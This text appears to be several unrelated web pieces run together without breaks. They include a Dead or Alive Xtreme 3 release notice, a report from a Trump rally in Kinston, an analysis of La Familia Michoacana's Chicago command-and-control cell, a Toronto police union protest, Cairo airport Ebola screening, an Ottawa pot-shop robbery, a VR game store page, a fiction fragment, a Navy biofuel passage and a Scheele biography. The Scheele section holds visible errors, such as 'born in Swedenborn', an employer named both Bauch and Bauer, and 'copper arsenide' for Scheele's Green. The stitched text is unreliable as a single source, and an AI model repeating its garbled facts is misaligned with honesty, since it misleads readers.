Dead or Alive Xtreme 3 will release in Japan on March 24, 2016 for PlayStation 4 and PlayStation Vita. The Asia version will have English subtitles, and can be pre-ordered via Play-Asia.KINSTON, N. C. — The most remarkable thing about Donald Trump’s rally in this faded southern U.S. city was that although the local population is two-thirds black, it appeared that nearly everyone in the crowd of perhaps 5,000 was white.
One exception was a young African-American heckler. The moment he interrupted Trump, the Republican candidate for the presidency pointed him out from the dais. To loud applause, the Secret Service immediately hustled the protester out of the Kinston Jetport.
Of all the divisions that have been revealed in this bizarre, dyspeptic presidential election campaign, none was more obvious this week than in a city where cotton was once king: Trump will get almost all of his votes on Nov. 8 from whites across the country who have become immensely frustrated over what they regard as their diminished place in the union.
“This country has been divided every day that I have been on the face of the Earth, and that is 71 years,” said Peggy Schumacher as she waited in her red “Proud to be a Deplorable” T-shirt for the mandatory security pat-down before entering the rally venue.
Like everyone else who waited for hours at this former U.S. air force base for Trump’s theatrical, floodlit entrance in his black and red Boeing 757, the former cotton-mill worker was acutely aware that this was, de facto, a whites-only event. But she was untroubled by it.
African-Americans, she claimed, are “promised everything in the world for free. They get free college, free medical and food stamps.
“My daddy did not raise me like that. What divides us more than anything, is our way of thinking.”
“This is about America,” said 28-year-old Katie Jean Harrison, who with her mother runs a company that hires out maids.
“Blacks are with the Democrats and waiting for handouts. It is so obvious. But I’m not worried. They don’t vote anyway.”
Ironically, most of the people hawking the candidate’s “Let’s Make America Great Again” ball caps and shirts outside the rally venue were black. Asked about this paradox, an elderly black man offering free “Trump for President” buttons with every $20 purchase, quietly said, “You gotta do what you gotta do.”
Primed by other speakers who praised God, Trump and the U.S. armed forces and who denounced Democratic rival Hillary Clinton’s support for gay marriage and abortion rights, as well as her dubious handling as secretary of state of what should have been classified emails, the controversial real estate developer dropped out of the sky to speak for 75 minutes in Kinston. He then took off again on a journey that was to have touched down in New England, Colorado and Arizona by Sunday night.
There was nothing new in what the man with the unique hair had to say, but the worshipful crowd had come to cheer him, and they did. There were multiple references to “Crooked Hillary,” the elections being rigged, hostility to Obamacare, support for the Second Amendment, and opposition to NAFTA, although only Mexico’s part in the seminal trade deal was mentioned, not Canada’s.
The mere mention of Clinton’s name provoked enthusiastic chants of “Lock her up, lock her up.” Similarly, references to immigration brought cries of “Build a wall, build a wall.”
Trump’s blistering attacks on Clinton’s character were like manna from heaven to those gathered on the tarmac. Even before the candidate spoke, special education teacher Angie Howard remarked that while she was a registered Democrat, such was her contempt for that party’s candidate, she would “vote for a chimpanzee before I’d vote for Hillary.”
Randy Carter, a 28-year-old from the town of Clayton, which during a more prosperous era was famous for cotton, tobacco and watermelons, said that within three months of NAFTA being signed “all the factories were shut and gone.”
“Those jobs are in Mexico now, or in China. Even our dog food comes from China,” he said.
Praising Trump as “a good businessman,” Carter said he admired him because he had “backbone. We’ve had a spineless president for eight years and we have had no respect in the world. I don’t care what you think of me for saying it. I want to see Barack Obama’s birth certificate. He doesn’t feel like an American to me. I think he is Islamic.”
Trump’s highly chauvinistic comments about women and the stream of accusations that he has sexually harassed or sexually assaulted women, got absolutely no traction with this crowd.
“There is no man over 30 who has not made such a remark. It’s a fact of life, darling,” drawled Peggy Schumacher.
“I’ve got an ex-husband who I’m really afraid of. I’m not afraid of Donald Trump,” said 53-year-old Kathy Sullivan, who works phone banks as a volunteer for the Trump campaign in the state capital, Raleigh, which is 90 minutes away by car. “My father was in the military and he carried on far worse than Trump has.”
Dismissing her own generation as “a bunch of wusses and wimps who love everything and accept all that weird crap about transgenders and how anyone can marry anyone else,” Sullivan’s daughter, Katie Jean Harrison, said, “Thank God there are still some of us left who have common sense and hold to religious values.”
Summing up why she and so many others in the Bible Belt were going to vote Republican, Sullivan said: “I believe that Donald Trump is a Christian and that he believes in God.
“I feel in my heart it will be a landslide for Trump. I think God wants this.”Unanswered Questions
Command and Control in Chicago
Project Coronado
Implications
In an indictment handed down Nov. 20, the U.S. Federal District Court for the Northern District of Illinois accused 15 individuals of being involved in the trafficking of cocaine and other narcotics in the Chicago area. The 15 were arrested in a nationwide counter-narcotics operation led by the U.S. Drug Enforcement Administration (DEA) dubbed "Project Coronado," which was aimed at dismantling the drug trafficking network of La Familia Michoacana (LFM), a mid-sized and relatively new drug cartel based in Michoacan state in southwestern Mexico. The U.S. investigation of LFM has revealed many details about the operation of the group in the United States and answered some important questions about the nature of Mexican drug trafficking and distribution north of the border. LFM stands out among the various drug cartels that operate throughout Mexico for several reasons. Unlike other drug trafficking organizations (DTOs) that have always been focused on drug trafficking, LFM first arose in Michoacan several years ago as a vigilante response to kidnappers and drug gangs. Before long, however, LFM members were themselves accused of conducting the very crimes they had opposed, including kidnapping for ransom, cocaine and marijuana trafficking and, eventually, methamphetamine production. The group is now the largest and most powerful criminal organization in Michoacan — a largely rural state located on Mexico's southwestern Pacific coast — and maintains a significant presence in several surrounding states. Beyond its vigilante origins, LFM has also set itself apart from other criminal groups in Mexico by its almost cult-like ideology. LFM leaders are known to distribute documents to the group's members that include codes of conduct and pseudo-religious quotations from Nazario Moreno Gonzalez, also known as "El Mas Loco" ("the craziest one"), who appears to serve as a sort of inspirational leader of the group.In April 2009, STRATFOR published a report on the dynamics of narcotics distribution in the United States. It laid out the differences between trafficking (transporting large quantities of drugs from the suppliers to the buyers over the most efficient routes possible) and distribution (the smaller scale, retail sale of small quantities of drugs over a broader geographic area) as well as the various gangs on the U.S. side that are involved in drug trafficking. The report outlined the differences in the resources and skills required to transport tons of narcotics hundreds of miles through Mexico versus picking up those loads at the border and managing the U.S. retail networks that distribute narcotics to the individual buyers on the street. In our April analysis, we identified several intelligence gaps in the interface between the Mexican-based drug traffickers (such as the Sinaloa Cartel, the Beltran-Leyva Organization [BLO] and Los Zetas) and the U.S.-based drug distributors (such as MS-13, Barrio Azteca and the Mexican Mafia). One question we were left with was: How deeply involved are the Mexican DTOs in the U.S. distribution network? While it appeared that narcotics changed hands at the border, it wasn't clear how or even whether the relationships between gangs and drug traffickers had an effect on the distribution of narcotics within the United States. Although we suspected it, there was little evidence that showed cartel involvement in the downstream or retail distribution of narcotics in the U.S. market.Now there is evidence. The indictment handed down Nov. 20 in Chicago clearly alleges that a criminal group in Chicago was directly conspiring with the drug trafficking organization LFM to distribute shipments of cocaine. The indictment specifically links the criminal group in Chicago to LFM and labels it a "command and control group" run by someone in Michoacan. While the indictment only referred to this person as "individual A," we suspect that the unidentified person was LFM operational manager Servando Gomez Martinez, the second in command of LFM. The manager of the Chicago command and control group, Jorge Luis Torres-Galvan, and the distribution supervisor, Jose Gonzalez-Zavala, were allegedly in regular contact with their manager in Mexico, updating him on accounting issues and relying on him to authorize which wholesale distributors the group could do business with in the United States. These wholesale distributors also appear to have had close ties to the command and control group. According to the indictment, they were allowed to sell cocaine on consignment — they could wait to pay Zavala once the entire load was sold — an agreement that indicates a great deal of trust between the supplier and the retail distributor. It was likely a matter of the LFM commander in Mexico authorizing their involvement and probably was based on an existing business or extended-family relationship. Due to LFM's ideological basis, its members should be thought of more as adherents than employees. The group does not operate using the same business objectives as most other major DTOs, so we would expect personal relationships to be more valued than strictly business relationships among LFM members. Another member of the group, Jorge Guadalupe Ayala-German, allegedly operated stash houses in the Chicago area where deliveries of narcotics would come in and shipments of cash would leave. The indictment says Ezequel Hernandez-Patino was responsible for physically delivering the shipments of cocaine to the wholesale distributors, and Ismail Flores with Oscar Bueno were responsible for transporting money south to Dallas, where they would deliver cash proceeds from the sale of cocaine and pick up more cocaine to sell. The indictment does not indicate that Flores or Bueno supplied any other markets between Dallas and Chicago, which suggests that the Chicago-based LFM members were fairly compartmentalized.The larger operation from which the Chicago indictment emerged, the DEA-led Project Coronado, was a joint operation with the FBI, the U.S. Bureau of Alcohol, Tobacco, Firearms and Explosives (ATF) and numerous other agencies. It followed several similar nationwide sweeps such as Operation Xcellerator, a multi-year effort to dismantle the Sinaloa cartel's connections in the United States, and Project Reckoning, which went after a Gulf cartel network in the United States that was trafficking cocaine to Italy. Under Project Coronado, the DEA, FBI and ATF, along with other federal, state and local law enforcement agencies, have made a total of almost 1,200 arrests, seized $32.8 million in U.S. currency and seized 11.7 tons of marijuana, methamphetamines, cocaine and heroin since the operation began in 2005. Dozens of other indictments and criminal complaints (in addition to the Chicago indictment) have been unsealed against associates of the group across the country since Oct. 22, the official culmination of Project Coronado. The other cases revealed more details about LFM's operations in the United States: how it trafficked methamphetamines and cocaine from Mexico to Dallas, how a cell in Nashville was supplied by a distribution hub in Atlanta, and how a group in New York had obtained automatic assault rifles, high-caliber pistols and ammunition with the intent to smuggle those weapons back to Mexico to supply LFM. LFM has been responsible for a substantial level of violence in southwestern Mexico, and former Mexican Attorney General Eduardo Morina Mora recently called it the most dangerous cartel in Mexico. The Northern District of Texas had the most cases as a result of Project Coronado. It appears that Dallas was a major U.S. hub for LFM, where it managed drug shipments from Mexico to other regions (Chicago and Arkansas were specifically mentioned) and the collection of cash from those distributors before shipping the cash back to Mexico. Dallas is a logical hub for such activity because of its proximity to Mexico and its location along Interstate 35 and Interstate 20, which link Dallas to the rest of the United States as well as points to the south. In at least one case, an individual attempting to smuggle four kilograms of methamphetamines to Dallas passed through the McAllen, Texas, border crossing on a passenger bus but was interdicted by police. Most indictments (including the one in Chicago) pointed out that LFM groups in the United States conducted countersurveillance while moving drug shipments. On one occasion, accused Dallas drug distributor Soto Cervantes changed the location of a meet-up point when he learned that the person he was meeting suspected that he was being followed. The change in location caused the police (who were indeed following the transporter) to call off the surveillance mission in order to not compromise their investigation. As a result, authorities relied primarily on electronic surveillance of the suspects' communications through wiretaps on home and cellular phones — of which the suspects had many and which they changed frequently. There were other cases when police were unable to follow suspects due to such surveillance detection tactics, when targeted traffickers called off meetings and changed vehicles in an effort to confuse police. While seemingly simple, these tactics indicate a higher degree of tradecraft and professionalism among the suspects linked to LFM, who don't appear to be members of run-of-the-mill street gangs. It is unclear if these tactics have been institutionalized in the LFM network, but judging by the frequency that police encountered them in various U.S. cities during Project Coronado, they appear to be a standard practice for many if not all LFM members.The details released in the Nov. 20 indictment provide solid evidence that drug trafficking organizations in Mexico (specifically LFM) have established command and control groups inside the United States that report to and receive orders from commanders in Mexico. And this shows that LFM has had an international presence far beyond what we originally suspected and is not just a small-time trafficking group in southwestern Mexico. Whereas most drug distribution in the United States is carried out by individual gangs serving their own interests and operating on their own familiar turf, the criminal group in Chicago working for LFM was carrying out orders issued by a drug trafficking organization some 3,000 miles away. And based on the interaction the Chicago group had with its contact in Mexico, the use of such tactics as countersurveillance measures, the coordination among groups in different cities and reports from STRATFOR sources within U.S. counternarcotics agencies, it is likely that the individual in Mexico was managing several groups throughout the United States. Most criminal enterprises avoid this kind of command and control structure for two reasons. First, distribution in a foreign country is not typically in a Mexican-based drug trafficker's area of expertise. Their interests tend to focus on their own territory, which they can control much more easily due to their familiarity with and proximity to it. Second, as seen in these latest arrests, U.S. law enforcement agencies are much more proficient at thwarting drug distribution operations than Mexican law enforcement agencies are. (LFM has recently proved very proficient indeed at challenging Mexican security forces.) By passing the drugs off to gangs in the United States, major cartels are also able to avoid a great deal of liability at the hands of U.S. law enforcement. In a way, LFM's efforts to move downstream, farther from the source of the cocaine, mirror those of other, larger Mexican DTOs that are expanding their control over the supply of cocaine in South America as they move upstream, closer to the source. And this raises the question: Why would LFM want to expand its operations so deeply into the United States when other Mexican DTOs maintain a more superficial presence there? One possible answer is that LFM is much smaller than Sinaloa, Los Zetas and BLO, controls much less territory and gets a smaller share of the narcotics being trafficked through Mexico. By expanding business into the United States, LFM is able to leverage what little control it does have in order to gain access to the highly lucrative retail market. And then there is LFM's ideological bent, which makes it behave at times more like a cult than a purely pragmatic business. Our answer to the above question is only conjecture. What is certain, at this point, is that there is now a precedent for Mexican DTOs to have a greater influence over their lower-level supply-chain operations in the United States. The details released in the Chicago indictment provide a better understanding of how Mexican-based drug traffickers impact the drug distribution network inside the United States and prove that at least one, "La Familia," is taking a very hands-on approach.The Toronto Police Association is encouraging its members to wear union ball caps to protest what its president calls “empty promises” from police leadership to fix low staffing levels. “We want to see a sign of solidarity, a sign of unity. We want to send a message to the chief, the chair and the mayor that we are together on these issues,” Mike McCormack says in a video message to Toronto officers released Thursday, announcing what he calls “phase two” of its protest against modernization plans within the Toronto Police Service.
Mike McCormack of the Toronto Police Association: the move comes just over a month after the union released a joint statement with the Toronto Police Service and its civilian board announcing changes aimed at addressing problems with staffing levels, caused in part by a higher-than-anticipated number of staff departures. ( TPA )
The move prompted a lengthy internal message from Chief Mark Saunders Thursday, assuring officers he was listening to their needs and detailing how he was responding to union and officer demands. “I, and my command, have and will always make time to listen to your ideas, concerns and issues,” Saunders wrote in the internal message to all officers, obtained by the Star through a police source Thursday night. Stressing solidarity “for the right reason is something that is important in any industry — especially law enforcement,” said Saunders.
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But he also said he would soon crack down on officers donning the ball caps in place of their service-issued hat. “In the spirit of solidarity, I will allow you to wear the ball caps for a short period of time until I lawfully order you to return to your forage cap. The (Police Service Act) is clear of the effect of lawful orders given by me,” Saunders wrote. The police union’s move comes just over a month after it released a joint statement with the Toronto Police Service and its civilian board announcing changes aimed at addressing problems with staffing levels, caused in part by a higher-than-anticipated number of staff departures. The central fix was a temporary lifting of a three-year hiring and promotions freeze. The statement announced 80 new officers would be recruited by the end of 2017. But McCormack now says the hiring and training schedule for the new recruits means all 80 won’t be on the road until January 2019. Meanwhile, 203 uniform members have left Toronto police this year and more are expected to depart by year’s end.
“The carpet got pulled out from under our feet,” McCormack said in an interview Thursday. In his internal message, Saunders said the service has received 116 applications since Tuesday, when the service officially announced the recruiting process had opened. Some applications came in from other police services.
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“That tells me that we are still an employer of choice and that people want to join one of the best police services in North America,” Saunders said in the message. A Toronto police news release this week said the service was “now accepting applications for the position of cadet-in-training,” but did not include any deadline for application, or any details about deployment. Speaking to reporters Thursday, Mayor John Tory, who sits on the police board, said “every one of the issues” that the union expressed concerns about is being addressed “as we speak,” including the hiring of officers. Approved by the police board earlier this year, the Toronto police’s transformational task force plan, dubbed The Way Forward, found $100 million in savings for the police service’s operating budget over three years. Sixty million dollars of savings would come from the three-year freeze on hiring and a moratorium on promotions. The report also recommended no new uniform officers be hired over three years, with the end goal to reduce the number of officers to about 4,750 by 2019. The union has said it has yet to see the data to show how that number was decided upon; as of July, the Toronto police employed 5,100 police officers. The police union has for months been critical of the Way Forward plan, claiming officer ranks have been depleted to critically low levels, causing safety issues. McCormack has also raised the alarm about wait times for 911 calls, saying they are up due to decreased staffing, and was equally critical of Saunders and the police board for dealing too slowly with staff promotions. In his internal message, Saunders addressed both concerns, saying a new class of communications operators will start working next month, and that he’s tasked one of his deputy chiefs to conduct a high-level review. “Based on her feedback, I am moving a superintendent to support Communications and will be taking immediate steps to get more people on the floor,” Saunders wrote. The chief also said he will be submitting a report to the police board to ensure that Toronto police employees, both sworn and civilian, who qualify will be promoted “as soon as possible.” With files from David Rider Wendy Gillis can be reached at wgillis@thestar.ca
Read more about:Equipment installed at Cairo's international airport to detect diseases like Ebola in passengers has proven to be defective, as Egyptian pilgrims return in droves from Saudi Arabia, state news agency MENA said on Tuesday.
MENA said the defects in the electronic temperature gauges and thermal surveying cameras were discovered upon a visit by Health Minister Adel El-Adawi to the airport premises to check on the pilgrims' arrival.
The digital thermometer did not match the temperatures of passengers coming through the airport gates, the agency added. El-Adawi summoned a preventive medicine team to investigate the incident and sent other medical teams to receive the pilgrims.
The possibility of catching epidemic diseases is normally raised during the annual Hajj season, when Muslims flock to crowded holy sites in the Gulf kingdom – but fears were especially this year over the fatal Ebola virus, which is spread through human contact.
The death toll from Ebola has surpassed 3,870 in over 8,000 infected cases, according to the World Health Organisation.
Short link:An illegal west-end pot shop has not let a recent string of robberies run it out of business.
The CannaGreen shop at 102 McEwen Ave., off Richmond Road, was robbed for the third time in two months this past weekend. Late Monday morning, the front glass door of the business remained shattered, evidence of a Saturday night smash and grab.
The vandalized door was propped open, allowing for the scent of pot to emanate from the store that appeared to have patrons coming and going. Two employees — one behind a glass display case and the other behind a wall with a service window where customers receive product from the back room — would not comment on the incident.
“We can’t really say anything, because we don’t know much,” said one employee.
Ottawa police Staff Sgt. Mike Haarbosch of the robbery unit said a passerby reported the latest incident to police Sunday. Haarbosch confirmed the suspects took “various product.”
“There may be some (marijuana product) that was locked up, but there were display cases that certainly were cleaned out; those were emptied. … I can’t really give you an idea of what exactly was taken, which is part of the ongoing issue. Sometimes it’s a struggle to get information out of these places.”
This is the third time this shop has been robbed in the past month. On Saturday, June 17, around 9 p.m., an employee was working when several young men rushed into the store. The staffer, who didn’t want to be identified, said he immediately assumed they were robbers and ran out the back door. The same employee told police the store was also robbed a day earlier, when he was not on duty.
CannaGreen is one of a string of affiliated shops that have popped up in Ottawa run by a B.C.-based outfit. Two of the shops, Herbal Leaf on Bank Street and Trees on Montreal Road, recently closed.
Pot shops are illegal, but have proliferated in advance of the federal government’s promised legalization of marijuana. People with documentation from their health-care providers can legally buy, and receive through the mail, medicinal cannabis from 52 producers licensed by Health Canada.About This Game
What is Reboant?
Enriched VR experience - The player will enter into a unique immersive VR world. The environment is truly unique and open. Players can freely use an array of different weapons, use inherent and unique skills, and will take part in epic story.
- The player will enter into a unique immersive VR world. The environment is truly unique and open. Players can freely use an array of different weapons, use inherent and unique skills, and will take part in epic story. Cinematic VR Experience – You are not alone in Reboant. Players can team up with other players (PvP and PvE) or can play with in game AI to face dangers and explore the unknown universe that is Reboant.
– You are not alone in Reboant. Players can team up with other players (PvP and PvE) or can play with in game AI to face dangers and explore the unknown universe that is Reboant. Open World – There is a complete and open alien world in Reboant. By following the games storyline or simply exploring the universe of Reboant, players will encounter strange creatures, dangerous scernaios as well as witness magnificent views of nature and ruins of alien civilizations.
– There is a complete and open alien world in Reboant. By following the games storyline or simply exploring the universe of Reboant, players will encounter strange creatures, dangerous scernaios as well as witness magnificent views of nature and ruins of alien civilizations. Developing Story - The world view expands as the plot develops. The more you get into the story the more races and distinct characters will appear. The sheer variety of racial civilizations will bring a visual feast and incredible experience to all players.
- The world view expands as the plot develops. The more you get into the story the more races and distinct characters will appear. The sheer variety of racial civilizations will bring a visual feast and incredible experience to all players. Oculus Support - Currently the game does NOT support Oculus. However we are working on this and WE WILL support Oculus very soon!
In this, players can experience the ideas and concepts of our game at a reasonable price. We welcome all feedback.If you choose to buy the Demo you will get a discount when buying the full release.Reboant is a sci-fi FPS game set in the future. The story centers around the origin of Earth’s civilization. The stories main character Wu. Wu, serves in the Intergalactic Expeditionary Force of the Earth Alliance. He is a skilled and courageous warrior, but often finds himself wondering where he came from, where he is going, and why is he here. As Wu, the player will join a special task force the ends up being caught in the crossfire or waring alien races. Through the game, the player will discover Wu’s real origins as well as Earth’s civilization’s origin and destiny.Oculus is not supported, please wait for update.Game Features Include:I walked through the front door and everything was different. “Hi honey,” it sounded like my wife, but it wasn’t my wife. Everything was different, including her. Her hair was falling … in a way, how do I put it, not like it usually does, like, maybe more to the left? I don’t know, I can’t really articulate it, but it was all just slightly off, I was looking right at her, and it just wasn’t right.
And the shirt she was wearing, I’d definitely seen that t-shirt before, I mean, I could recognize it, it was one of mine, almost exactly like a t-shirt I knew to be something I owned, like I could see it in my closet, I could picture it all folded up. But this was not my t-shirt, it was close, a near exact facsimile of a shirt I’d received like ten years ago at college, at some club, or one of the club fairs, one of the student groups was giving out free t-shirts to people who signed up for their email list. I’d never really worn it, definitely not out of the house, I think it was an XL, but my wife always wears these old oversized t-shirts when we’re inside. Not this one though, it was … was the lettering off? I couldn’t tell if my shirt, like my real shirt, if there wasn’t maybe a hole under the left arm, or something. I couldn’t pinpoint it, but something was different.
It was definitely different. “What’s wrong?” this lady asked me, and I didn’t want to act not natural, in case whoever set this whole thing up was maybe looking to see if I wasn’t convinced. But I didn’t know what to say, it was like trying to smile a natural smile for a photograph, something you just can’t fake, you’re really trying, but it always looks a little crooked. I felt like any words that would have come out of my mouth right then would have been the same, they would have been a crooked giveaway. And then this dog came up to me, again, I’m telling you it couldn’t have been my dog. They’re about the same size, yes, almost identical, but I know my dog, OK, I know the way my dog moves his feet when he comes over to say hi, it’s just … it’s not the same way |
fuel based on algae oil, or $424 a gallon.
Solazyme’s strategic advisers, according to its website, include T.J. Glauthier, who served on Obama’s White House Transition team and dealt with energy issues, but also former CIA director R. James Woolsey, a conservative national security official.
For the Great Green Fleet demonstration, the Pentagon paid $12 million for 450,000 gallons of biofuel, nearly $27 a gallon. There were eight bidders for that contract, it said.
Republican lawmakers are pushing measures that would bar the Navy from spending funds on alternative fuels that are not priced competitively with petroleum and are accusing Mabus of failing to provide Congress with a full analysis of the cost and time it would take to create.
“They couldn’t answer some of the very fundamental questions that you would want on that issue,” said Randy Forbes, a Republican on the House Armed Services Committee who says studies show that biofuels would always be more expensive than petroleum.
Mabus rejects the criticism, saying that as production rises, costs will come down. He notes that prices have fallen dramatically over the past few years, even with the Navy buying only small test batches of alternative fuels.
“Of course it costs more,” he told the climate conference. “It’s a new technology. If we didn’t pay a little bit more for new technologies, we’d still be using typewriters instead of computers.... And the Navy would never have bought a nuclear submarine, which still costs four to five times more than a conventional submarine.”
CHICKEN FAT
Alternative fuel manufacturers see two promising avenues for creating so-called “drop-in” fuels that can be used in petroleum engines without any changes to the system. For now, they both have drawbacks.
One, called the Fischer-Tropsch process, is used to convert coal, natural gas or biomass into fuels. But the side effect is high levels of greenhouse gas emissions, said James Bartis, an energy researcher at the RAND Corporation think tank who has analyzed the Pentagon’s alternative fuel effort.
Alternatively, lipids and fatty acids produced by animals and plants can be treated with hydrogen in a refinery process similar to that used for oil to produce fuel, Bartis said.
Camelina seeds, rendered chicken fat and algae oils are some substances currently being used in this process, and they produce a very clean-burning fuel, Bartis said.
The problem, he said, is that most of the seed- and animal-based oils cannot be produced at the scales the Pentagon needs.
The United States consumes about 19 million barrels of oil per day, with the Pentagon using about 321,000 barrels per day in 2011. Bartis estimated maximum fuel production using chicken fat would be about 30,000 barrels per day, while camelina seed might eventually produce 40,000 to 50,000 barrels daily.
“That’s a drop in the bucket,” he said. “It’s a dead end. You can’t make much.”
He said algae appeared to offer the best potential for large-scale production, but current efforts were aimed at genetically modifying algae to be more efficient.
“It’s not a tomorrow problem,” he said. “It’s a decade away.”
ALL OF THE ABOVE
The Navy disagrees. Instead of focusing on one feedstock, it is pursuing an all-of-the-above approach, open to using any biofuel that meets its specifications, regardless of whether it is produced with seed oil, animal fat or woody biomass.
“We need to pursue all the ones that seem to have promise to be able to deliver for us,” said Tom Hicks, deputy assistant secretary of the Navy for energy. “What we’re trying to say is if it can meet the criteria that we have... then we’re an interested buyer. And so that leaves open a whole range of opportunities.”
So far the Navy has used fuels based on algae, camelina, agricultural waste oils and food waste oils, Hicks said in an interview. Municipal solid waste could be an option at some point, as could woody biomass, he said.
He said researchers estimate that some biofuels could be cost-competitive before the end of the decade once they move to large-scale production.
A Defense Department study conducted with LMI consulting last year noted the Pentagon could take steps, like long-term contracting, that would speed up creation of a competitive biofuels market by providing certainty to growers and helping manufacturers gain access to capital to build refineries.
“Although DoD has requested 20-year contracting authority, similar commercial industry efforts have suggested that even 10 years would represent the tipping point for more mature renewable fuel producers to obtain financing to build the necessary infrastructure and plants,” the report said.
Some industry participants believe Mabus is correct in asserting that the Navy’s purchasing clout and other powers can be used to create a breakthrough in the biofuels industry that will eventually lead to competitive pricing.
“We’ve actually looked at that precise question and we believe they can in fact create that market,” said Dr. Ray Johnson, a senior vice president at Lockheed Martin, which is looking at investing in the Navy’s proposals.
Mabus remains undeterred in his pursuit of alternative fuel.
The Navy has been at the forefront of energy innovation for over a hundred years, Mabus says, transitioning from sail, to coal, to oil and then to nuclear from the 1850s to the 1950s.
“Every single time there were naysayers,” he said recently. “And every single time, every single time, those naysayers have been wrong, and they’re going to be wrong again this time.”Carl Wilhelm Scheele
Scheele's house with his pharmacy in Köping.
Carl Wilhelm Scheele (December 9, 1742 - May 21, 1786), was a German-Swedish pharmaceutical chemist. He was a prolific scientist whose humble circumstances and equipment did not prevent him from making scores of important chemical discoveries. He was the first to discover oxygen and to produce chlorine gas. Yet, much of what he did had to be rediscovered because it was not appreciated by his fellow scientists. Although his name is not as well recognized as many of his contemporaries, his work had a major impact on the development of chemistry.
Biography
Scheele was born in Swedenborn in Stralsund, Western Pomerania, Germany, which was at the time under Swedish rule. He was one of eleven children of a merchant, Joachim Christian Scheele. At age 14, he adopted the vocation of a pharmacist in the establishment of Martin Anders Bauch of Gothenburg. His brother had also worked for Bauer but died three years before Scheele began his apprenticeship. Scheele served for the first six years as a pupil, and three additional years as an assistant. During this period, he availed himself of Bauer's fine library, and by study and practice acquired an advanced knowledge of the chemistry of his day. It is said that he studied at the pharmacy after hours, and while conducting experiments late one evening, he triggered an explosion that shook the house and disturbed its occupants. Scheele was told to look for work elsewhere.
He then was hired as an apothecary's clerk in Kalstom's establishment in Malmö, where he remained for two years. He then served in the establishment of Scharenberg in Stockholm. At this time, he submitted a memoir on the discovery of tartaric acid, but it was rejected by the Swedish Academy of Sciences as he was not well known at the time. This is said to have discouraged Scheele and made him reticent to contact those who would have most appreciated his work. He would not become a member of the academy until he was 33.
International reputation
Scheele's career as a scientist dates to his work in Stockholm. After spending six years there, Scheele transferred to the shop of Look in Uppsala, in 1773. It was during this time that he is said to have met the famous Swedish chemist Torbern Olof Bergman, professor of chemistry at the University of Uppsala. As the story goes, Scheele's employer, who supplied Bergman with his chemicals, brought Bergman to the pharmacy to consult Scheele on a matter that had been mystifying him. Scheele offered a clear explanation, and in other ways demonstrated a depth of understanding of chemical phenomena of all kinds. Besides befriending Scheele, Bergman was instrumental in bringing Scheele's accomplishments to the attention of the scientific community, and in having his work published. Scheele thus began to earn an international reputation, and corresponded with the likes of Henry Cavendish, of Great Britain, and Antoine Lavoisier, of France.
Later years
In 1775, Scheele hoped to purchase a pharmacy so that he could work independently. His first attempts to acquire a business were unsuccessful, but they led to many invitations to do research and teach in a variety of European capitals. Scheele turned these offers down, preferring to remain in a profession he knew well and that provided sufficiently for his expenses. After a year's delay, he was successful in purchasing a shop in Koping from Sara Margaretha Sonneman, who had inherited it from her late husband, Hinrich Pascher Pohls. Scheele found that the establishment was saddled with debt, which he succeeded in paying off by diligent attention to his business affairs over a number of years. During this time, he and Pohls's widow kept house together for the sake of economy. He eventually married her, only a few days before his death. Scheele managed to retire the entire debt of his new business, and was able to build himself a new home and laboratory. One of his sisters came to assist Scheele in managing the pharmacy and household. Thus they were able to live fairly comfortably for Scheele's remaining years.
During the last decade of his life, Scheele was often visited by scientists who tried to probe his fertile mind. Scheele preferred to entertain in his laboratory or at his pharmacy, and traveled little.
He suffered from gout and rheumatism, but continued his scientific work up to the final month of his life. His illness was probably brought on by his constant exposure to the poisonous compounds he worked with. He died on May 21, 1786.
Accomplishments
Discovery of oxygen
Unlike scientists such as Antoine Lavoisier and Isaac Newton, who were more widely recognized, Scheele had a humble position in a small town, and yet he was still able to make many scientific discoveries. He preferred his small dwelling to the grandeur of an extravagant house. Scheele made many discoveries in chemistry before others who are generally given the credit. One of Scheele's most famous discoveries was oxygen produced as a by-product in a number of experiments in which he heated chemicals, during 1771-1772. Scheele, though, was not the one to name or define oxygen; that job would later be bestowed upon Antoine Lavoisier.
Before Scheele made his discovery of oxygen, he studied air. Air was thought to be an element that made up the environment in which chemical reactions took place but did not interfere with the reactions. Scheele's investigation of air enabled him to conclude that air was a mixture of "fire air" and "foul air;" in other words, a mixture of oxygen and nitrogen, the one breathable, the other not. He performed numerous experiments in which he burned substances such as saltpeter (potassium nitrate), manganese dioxide, heavy metal nitrates, silver carbonate and mercuric oxide. However, his findings were not published until 1777 in the treatise, Chemical Treatise on Air and Fire By then, both Joseph Priestley and Antoine Lavoisier had already published their experimental data and conclusions concerning oxygen. In his treatise, Scheele also distinguished heat transfer by thermal radiation from that by convection or conduction.
Scheele's study of "fire air" (oxygen) was sparked by a complaint by Torbern Olof Bergman. Bergman informed Scheele that the saltpeter he purchased from Scheele's employer produced red vapors when it came into contact with acid. Scheele's quick explanation for the vapors led Bergman to suggest that Scheele analyze the properties of manganese dioxide. It was through his studies with manganese dioxide that Scheele developed his concept of "fire air." He ultimately obtained oxygen by heating mercuric oxide, silver carbonate, magnesium nitrate, and saltpeter. Scheele wrote about his findings to Lavoisier who was able to grasp the significance of the results.
Other discoveries
In addition to his joint recognition for the discovery of oxygen, Scheele is argued to have been the first to discover other chemical elements such as barium (1774), manganese (1774), molybdenum (1778), and tungsten (1781), as well as several chemical compounds, including citric acid, glycerol, hydrogen cyanide (also known, in aqueous solution, as prussic acid), hydrogen fluoride, and hydrogen sulfide. In addition, he discovered a process similar to pasteurization, along with a means of mass-producing phosphorus (1769), leading Sweden to become one of the world's leading producers of matches. In 1775, Scheele discovered the mineral pigment copper arsenide, known afterwards as Scheele's Green. The compound was generally replaced by pigments of lower toxicity.
Scheele made one other very important scientific discovery in 1774, arguably more revolutionary than his isolation of oxygen. He identified lime, silica, and iron, in a specimen of pyrolusite given to him by his friend, Johann Gottlieb Gahn, but could not identify an additional component. When he treated the pyrolusite with hydrochloric acid over a warm sand bath, a yellow-green gas with a strong odor was produced. He found that the gas sank to the bottom of an open bottle and was denser than ordinary air. He also noted that the gas was not soluble in water. It turned corks a yellow color and removed all color from wet, blue litmus paper and some flowers. He called this gas with bleaching abilities, "dephlogisticated acid of salt." Eventually, Sir Humphry Davy named the gas chlorine.
Scheele and the phlogiston theory
By the time he was a teenager, Scheele had learned the dominant theory on gases in the 1770s, the phlogiston theory. Phlogiston was classified as "matter of fire." The theory stated that any material that was able to burn would release phlogiston during combustion and would stop burning when all the phlogiston had been released. When Scheele discovered oxygen, he called it "fire air" because it supported combustion. He explained oxygen in terms of the phlogiston theory, which he accepted.
